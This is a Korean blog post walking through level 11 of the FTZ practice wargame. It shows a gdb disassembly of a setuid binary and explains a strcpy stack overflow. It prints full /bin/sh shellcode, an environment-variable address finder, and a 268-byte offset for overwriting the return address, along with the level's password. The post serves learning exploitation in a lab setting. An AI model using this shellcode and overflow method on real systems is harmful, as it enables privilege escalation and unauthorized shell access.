ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • FTZ. level 11 정리
    Pwnable/FTZ 2020. 2. 25. 05:17

    level11 비밀번호 : what!@#$?

     

    먼저 힌트를 본다.

     

    ftz level11 hint

    뭔가 strcpy에서 오버플로우가 일어날꺼같지 않은가!?

    (내 생각은 str의 크기가 주어졌는데 그 이상 입력할 수 있으면 오버플로우가 일어날꺼같아서)

     

    그럼 attackmegdb로 확인해보자.

     

    [level11@ftz level11]$ gdb attackme
    
    (gdb) set disassembly-flavor intel
    
    (gdb) disas main
    

    ftz level11 gdb attackme

    main+27 부터 main+48 까지 strcpy 부분이므로 해석을 자세히 해보면

     

    //이전까지 esp = ebp - 280
    
    0x0804848b <main+27>:	add    esp,0x10 
                      //: esp = [ebp - 264]
    
    0x0804848e <main+30>:	sub    esp,0x8
                      //: esp = [ebp - 272]
    
    0x08048491 <main+33>:	mov    eax,DWORD PTR [ebp+12]  //argv[1] 과정
                      //: eax = [ebp + 12] 
    
    0x08048494 <main+36>:	add    eax,0x4  //argv[1] 과정
                      //: eax = eax + 4    
    
    0x08048497 <main+39>:	push   DWORD PTR [eax]  //argv[1] 과정 push
                      //: push [eax]  //: esp = [ebp - 268]
                      
    0x08048499 <main+41>:	lea    eax,[ebp-264]
                      //: eax = [ebp - 264]
                    
    0x0804849f <main+47>:	push   eax             
                      //: esp = [ebp - 264]  ... RET는 ebp의 위에 있으므로 268만큼 오버플로우를 일으켜야한다.
                     
    0x080484a0 <main+48>:	call   0x804835c <strcpy>
    

     

     

    RET 부분에 환경변수의 shellcode주소를 넣어서 실행 해야 한다.

      

    그러면 환경변수를 등록하는 쉘코드를 사용하여 환경변수의 주소값을 알아내보자. 

     

    환경변수를 등록하는 리눅스 명령어 : export

     

    환경변수를 등록하는 쉘코드 : \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

     

    등록한 환경변수를 확인하는 리눅스 명령어 : env

     

    env로 등록한 sh 환경변수 확인

     

    우리가 등록한 sh 환경변수의 주소를 알아야 하는데

     

    그이유는 RET에 쉘코드 주소를 오버플로우를 이용해서 덮어주면 main의 leave, ret (함수 에필로그) 과정에서 환경변수의

    쉘코드로 점프해서 level 12의 쉘코드를 실행 할 수 있으므로 쉘코드를 저장한 환경변수의 주소를 알아야 한다.   

     

    주소값을 알기위해선 

     

    //환경변수의 주소값을 알기위한 코드 :
    
    #include <stdio.h>
    
    int main() {
    
              printf("%p\n",getenv("환경변수 이름"));
    
    }

    이 코드를 컴파일 한 파일을 실행하면 된다.

     

    주소값을 얻기위한 파일 컴파일 과정

    나는 sh라는 파일을 만들었고 이 파일을 실행하면 환경변수의 주소값을 얻을 수 있다.

     

    sh 파일 실행 모습

    0xbffffeaf 라는 주소값을 얻었다!!!

     

    이제 이 주소값을 RET에 넣을 수 있게 오버플로우를 일으키면 된다. 

     

    그림을 보면 RET의 위치는 SFP의 위에 있으므로 RET에 얻어낸 주소값을 넣기 위해선

     

    ebp 위치에서 4byte 높은 주소이기 때문에 264 + 4 = 268개의 문자를 넣어 오버플로우를 일으켜야 한다. 

     

    level12의 쉘코드를 통해 비밀번호 획득 성공!

    it is like this

     

    'Pwnable > FTZ' 카테고리의 다른 글

    FTZ. 함수 프롤로그 / 함수 에필로그  (0) 2020.02.11
    FTZ . level9 정리  (0) 2020.02.11

    댓글

Designed by Tistory.